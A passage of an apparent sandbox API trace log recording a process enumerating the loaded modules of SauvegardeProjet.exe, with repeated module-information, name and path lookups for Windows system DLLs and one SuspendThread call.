hModule=0x74e50000, lpmodinfo=0x26f429c, cb=0xc | out: lpmodinfo=0x26f429c*(lpBaseOfDll=0x74e50000, SizeOfImage=0x16000, EntryPoint=0x74e52dc3)) returned 1 [0062.888] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.888] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74e50000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0062.889] CoTaskMemFree (pv=0x4e69710) [0062.889] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.889] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74e50000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0062.890] CoTaskMemFree (pv=0x4e69710) [0062.890] GetModuleInformation (in: hProcess=0x284, hModule=0x74460000, lpmodinfo=0x26f64b4, cb=0xc | out: lpmodinfo=0x26f64b4*(lpBaseOfDll=0x74460000, SizeOfImage=0x3b000, EntryPoint=0x7446128d)) returned 1 [0062.890] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.890] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74460000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0062.891] CoTaskMemFree (pv=0x4e69710) [0062.891] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.891] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74460000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0062.892] CoTaskMemFree (pv=0x4e69710) [0062.892] GetModuleInformation (in: hProcess=0x284, hModule=0x743d0000, lpmodinfo=0x26f85c0, cb=0xc | out: lpmodinfo=0x26f85c0*(lpBaseOfDll=0x743d0000, SizeOfImage=0x84000, EntryPoint=0x743d19a9)) returned 1 [0062.893] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.893] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x743d0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0062.893] CoTaskMemFree (pv=0x4e69710) [0062.894] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.894] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x743d0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0062.894] CoTaskMemFree (pv=0x4e69710) [0062.894] GetModuleInformation (in: hProcess=0x284, hModule=0x743b0000, lpmodinfo=0x26fa788, cb=0xc | out: lpmodinfo=0x26fa788*(lpBaseOfDll=0x743b0000, SizeOfImage=0x13000, EntryPoint=0x743b18f0)) returned 1 [0062.895] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.895] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x743b0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0062.896] CoTaskMemFree (pv=0x4e69710) [0062.896] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.896] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x743b0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0062.897] CoTaskMemFree (pv=0x4e69710) [0062.897] GetModuleInformation (in: hProcess=0x284, hModule=0x742e0000, lpmodinfo=0x26fc8d8, cb=0xc | out: lpmodinfo=0x26fc8d8*(lpBaseOfDll=0x742e0000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0062.898] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.898] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x742e0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0062.899] CoTaskMemFree (pv=0x4e69710) [0062.899] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.899] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x742e0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0062.900] CoTaskMemFree (pv=0x4e69710) [0062.900] GetModuleInformation (in: hProcess=0x284, hModule=0x74150000, lpmodinfo=0x26fead4, cb=0xc | out: lpmodinfo=0x26fead4*(lpBaseOfDll=0x74150000, SizeOfImage=0x190000, EntryPoint=0x741ed026)) returned 1 [0062.901] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.901] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74150000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0062.901] CoTaskMemFree (pv=0x4e69710) [0062.902] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.902] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74150000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0062.902] CoTaskMemFree (pv=0x4e69710) [0062.903] GetModuleInformation (in: hProcess=0x284, hModule=0x73c90000, lpmodinfo=0x2700c84, cb=0xc | out: lpmodinfo=0x2700c84*(lpBaseOfDll=0x73c90000, SizeOfImage=0x19e000, EntryPoint=0x73cbe6b5)) returned 1 [0062.903] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.903] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73c90000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0062.904] CoTaskMemFree (pv=0x4e69710) [0062.904] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.904] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73c90000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0062.905] CoTaskMemFree (pv=0x4e69710) [0062.905] GetModuleInformation (in: hProcess=0x284, hModule=0x74ce0000, lpmodinfo=0x2702e4c, cb=0xc | out: lpmodinfo=0x2702e4c*(lpBaseOfDll=0x74ce0000, SizeOfImage=0x13000, EntryPoint=0x74ce1d3f)) returned 1 [0062.906] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.906] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74ce0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0062.907] CoTaskMemFree (pv=0x4e69710) [0062.907] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.907] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74ce0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0062.908] CoTaskMemFree (pv=0x4e69710) [0062.908] GetModuleInformation (in: hProcess=0x284, hModule=0x754b0000, lpmodinfo=0x2704f58, cb=0xc | out: lpmodinfo=0x2704f58*(lpBaseOfDll=0x754b0000, SizeOfImage=0x83000, EntryPoint=0x754b23d2)) returned 1 [0062.909] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.909] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x754b0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0062.910] CoTaskMemFree (pv=0x4e69710) [0062.910] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.910] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x754b0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0062.911] CoTaskMemFree (pv=0x4e69710) [0062.911] GetModuleInformation (in: hProcess=0x284, hModule=0x74050000, lpmodinfo=0x2707064, cb=0xc | out: lpmodinfo=0x2707064*(lpBaseOfDll=0x74050000, SizeOfImage=0xfb000, EntryPoint=0x740617e1)) returned 1 [0062.912] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.912] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74050000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0062.913] CoTaskMemFree (pv=0x4e69710) [0062.913] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.913] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74050000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0062.914] CoTaskMemFree (pv=0x4e69710) [0062.914] GetModuleInformation (in: hProcess=0x284, hModule=0x76420000, lpmodinfo=0x2709188, cb=0xc | out: lpmodinfo=0x2709188*(lpBaseOfDll=0x76420000, SizeOfImage=0x5000, EntryPoint=0x76421438)) returned 1 [0062.915] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.915] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76420000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0062.916] CoTaskMemFree (pv=0x4e69710) [0062.916] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0062.916] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76420000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0062.917] CoTaskMemFree (pv=0x4e69710) [0062.917] CloseHandle (hObject=0x284) returned 1 [0063.397] SuspendThread (hThread=0x150) returned 0x0 [0063.520] EnumProcessModules (in: hProcess=0x284, lphModule=0x2693d24, cb=0x100, lpcbNeeded=0x563b1f0 | out: lphModule=0x2693d24, lpcbNeeded=0x563b1f0) returned 1 [0063.521] GetModuleInformation (in: hProcess=0x284, hModule=0xea0000, lpmodinfo=0x2693e64, cb=0xc | out: lpmodinfo=0x2693e64*(lpBaseOfDll=0xea0000, SizeOfImage=0x9c000, EntryPoint=0xf36c3e)) returned 1 [0063.521] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.521] GetModuleBaseNameW (in: hProcess=0x284, hModule=0xea0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0063.521] CoTaskMemFree (pv=0x4e69710) [0063.521] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.521] GetModuleFileNameExW (in: hProcess=0x284, hModule=0xea0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0063.521] CoTaskMemFree (pv=0x4e69710) [0063.521] GetModuleInformation (in: hProcess=0x284, hModule=0x77850000, lpmodinfo=0x2695fd8, cb=0xc | out: lpmodinfo=0x2695fd8*(lpBaseOfDll=0x77850000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0063.521] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.521] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77850000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0063.522] CoTaskMemFree (pv=0x4e69710) [0063.522] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.522] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77850000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0063.522] CoTaskMemFree (pv=0x4e69710) [0063.522] GetModuleInformation (in: hProcess=0x284, hModule=0x75250000, lpmodinfo=0x26980dc, cb=0xc | out: lpmodinfo=0x26980dc*(lpBaseOfDll=0x75250000, SizeOfImage=0x4a000, EntryPoint=0x75252e54)) returned 1 [0063.522] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.522] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75250000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0063.522] CoTaskMemFree (pv=0x4e69710) [0063.523] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.523] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75250000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0063.523] CoTaskMemFree (pv=0x4e69710) [0063.523] GetModuleInformation (in: hProcess=0x284, hModule=0x75a20000, lpmodinfo=0x269a1e8, cb=0xc | out: lpmodinfo=0x269a1e8*(lpBaseOfDll=0x75a20000, SizeOfImage=0x110000, EntryPoint=0x75a332d3)) returned 1 [0063.523] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.523] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75a20000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0063.523] CoTaskMemFree (pv=0x4e69710) [0063.523] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.523] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75a20000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0063.524] CoTaskMemFree (pv=0x4e69710) [0063.524] GetModuleInformation (in: hProcess=0x284, hModule=0x765f0000, lpmodinfo=0x269c2fc, cb=0xc | out: lpmodinfo=0x269c2fc*(lpBaseOfDll=0x765f0000, SizeOfImage=0x46000, EntryPoint=0x765f7478)) returned 1 [0063.524] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.524] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x765f0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0063.524] CoTaskMemFree (pv=0x4e69710) [0063.524] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.524] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x765f0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0063.524] CoTaskMemFree (pv=0x4e69710) [0063.524] GetModuleInformation (in: hProcess=0x284, hModule=0x75b30000, lpmodinfo=0x269e444, cb=0xc | out: lpmodinfo=0x269e444*(lpBaseOfDll=0x75b30000, SizeOfImage=0xa0000, EntryPoint=0x75b449e5)) returned 1 [0063.525] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.525] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75b30000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0063.525] CoTaskMemFree (pv=0x4e69710) [0063.525] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.525] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75b30000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0063.525] CoTaskMemFree (pv=0x4e69710) [0063.525] GetModuleInformation (in: hProcess=0x284, hModule=0x75e30000, lpmodinfo=0x26a0558, cb=0xc | out: lpmodinfo=0x26a0558*(lpBaseOfDll=0x75e30000, SizeOfImage=0xac000, EntryPoint=0x75e3a472)) returned 1 [0063.525] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.525] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75e30000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0063.526] CoTaskMemFree (pv=0x4e69710) [0063.526] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.526] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75e30000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0063.526] CoTaskMemFree (pv=0x4e69710) [0063.526] GetModuleInformation (in: hProcess=0x284, hModule=0x762b0000, lpmodinfo=0x26a2664, cb=0xc | out: lpmodinfo=0x26a2664*(lpBaseOfDll=0x762b0000, SizeOfImage=0x19000, EntryPoint=0x762b4975)) returned 1 [0063.526] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.526] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x762b0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0063.527] CoTaskMemFree (pv=0x4e69710) [0063.527] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.527] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x762b0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0063.527] CoTaskMemFree (pv=0x4e69710) [0063.527] GetModuleInformation (in: hProcess=0x284, hModule=0x772d0000, lpmodinfo=0x26a4770, cb=0xc | out: lpmodinfo=0x26a4770*(lpBaseOfDll=0x772d0000, SizeOfImage=0xf0000, EntryPoint=0x772e0569)) returned 1 [0063.527] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.527] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x772d0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0063.527] CoTaskMemFree (pv=0x4e69710) [0063.527] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.528] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x772d0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0063.528] CoTaskMemFree (pv=0x4e69710) [0063.528] GetModuleInformation (in: hProcess=0x284, hModule=0x753b0000, lpmodinfo=0x26a68c8, cb=0xc | out: lpmodinfo=0x26a68c8*(lpBaseOfDll=0x753b0000, SizeOfImage=0x60000, EntryPoint=0x753ca3b3)) returned 1 [0063.528] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.528] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x753b0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0063.528] CoTaskMemFree (pv=0x4e69710) [0063.528] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.528] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x753b0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0063.529] CoTaskMemFree (pv=0x4e69710) [0063.529] GetModuleInformation (in: hProcess=0x284, hModule=0x753a0000, lpmodinfo=0x26a89d4, cb=0xc | out: lpmodinfo=0x26a89d4*(lpBaseOfDll=0x753a0000, SizeOfImage=0xc000, EntryPoint=0x753a10e1)) returned 1 [0063.529] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.529] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x753a0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0063.529] CoTaskMemFree (pv=0x4e69710) [0063.529] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.529] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x753a0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0063.530] CoTaskMemFree (pv=0x4e69710) [0063.530] GetModuleInformation (in: hProcess=0x284, hModule=0x751d0000, lpmodinfo=0x26aaae8, cb=0xc | out: lpmodinfo=0x26aaae8*(lpBaseOfDll=0x751d0000, SizeOfImage=0x78000, EntryPoint=0x751df7ba)) returned 1 [0063.530] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.530] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x751d0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0063.530] CoTaskMemFree (pv=0x4e69710) [0063.531] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.531] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x751d0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0063.531] CoTaskMemFree (pv=0x4e69710) [0063.531] GetModuleInformation (in: hProcess=0x284, hModule=0x75ce0000, lpmodinfo=0x26acc30, cb=0xc | out: lpmodinfo=0x26acc30*(lpBaseOfDll=0x75ce0000, SizeOfImage=0x57000, EntryPoint=0x75cf9ba6)) returned 1 [0063.531] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.531] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75ce0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0063.532] CoTaskMemFree (pv=0x4e69710) [0063.532] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.532] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75ce0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0063.532] CoTaskMemFree (pv=0x4e69710) [0063.532] GetModuleInformation (in: hProcess=0x284, hModule=0x773c0000, lpmodinfo=0x26aed3c, cb=0xc | out: lpmodinfo=0x26aed3c*(lpBaseOfDll=0x773c0000, SizeOfImage=0x90000, EntryPoint=0x773d6343)) returned 1 [0063.532] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.532] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x773c0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0063.533] CoTaskMemFree (pv=0x4e69710) [0063.533] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.533] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x773c0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0063.533] CoTaskMemFree (pv=0x4e69710) [0063.533] GetModuleInformation (in: hProcess=0x284, hModule=0x756f0000, lpmodinfo=0x26b0e40, cb=0xc | out: lpmodinfo=0x26b0e40*(lpBaseOfDll=0x756f0000, SizeOfImage=0x100000, EntryPoint=0x7570b6ed)) returned 1 [0063.533] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.533] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x756f0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0063.534] CoTaskMemFree (pv=0x4e69710) [0063.534] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.534] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x756f0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0063.534] CoTaskMemFree (pv=0x4e69710) [0063.534] GetModuleInformation (in: hProcess=0x284, hModule=0x762d0000, lpmodinfo=0x26b2f4c, cb=0xc | out: lpmodinfo=0x26b2f4c*(lpBaseOfDll=0x762d0000, SizeOfImage=0xa000, EntryPoint=0x762d36a0)) returned 1 [0063.535] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.535] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x762d0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0063.535] CoTaskMemFree (pv=0x4e69710) [0063.535] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.535] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x762d0000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0063.536] CoTaskMemFree (pv=0x4e69710) [0063.536] GetModuleInformation (in: hProcess=0x284, hModule=0x75410000, lpmodinfo=0x26b5048, cb=0xc | out: lpmodinfo=0x26b5048*(lpBaseOfDll=0x75410000, SizeOfImage=0x9d000, EntryPoint=0x75443fd7)) returned 1 [0063.536] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.536] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75410000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0063.537] CoTaskMemFree (pv=0x4e69710) [0063.537] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.537] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75410000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0063.537] CoTaskMemFree (pv=0x4e69710) [0063.537] GetModuleInformation (in: hProcess=0x284, hModule=0x76500000, lpmodinfo=0x26b71d8, cb=0xc | out: lpmodinfo=0x26b71d8*(lpBaseOfDll=0x76500000, SizeOfImage=0x60000, EntryPoint=0x7651158f)) returned 1 [0063.538] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.538] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76500000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0063.538] CoTaskMemFree (pv=0x4e69710) [0063.538] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.538] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76500000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0063.539] CoTaskMemFree (pv=0x4e69710) [0063.539] GetModuleInformation (in: hProcess=0x284, hModule=0x75d40000, lpmodinfo=0x26b92dc, cb=0xc | out: lpmodinfo=0x26b92dc*(lpBaseOfDll=0x75d40000, SizeOfImage=0xcc000, EntryPoint=0x75d4168b)) returned 1 [0063.539] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.539] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75d40000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0063.540] CoTaskMemFree (pv=0x4e69710) [0063.540] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.540] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75d40000, lpFilename=0x4e69710, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0063.540] CoTaskMemFree (pv=0x4e69710) [0063.540] GetModuleInformation (in: hProcess=0x284, hModule=0x751c0000, lpmodinfo=0x26bb3e0, cb=0xc | out: lpmodinfo=0x26bb3e0*(lpBaseOfDll=0x751c0000, SizeOfImage=0x9000, EntryPoint=0x751c1220)) returned 1 [0063.541] CoTaskMemAlloc (cb=0x804) returned 0x4e69710 [0063.541] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x751c0000, lpBaseName=0x4e69710, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0063.541] CoTaskMemFree (pv=0x4e69710) 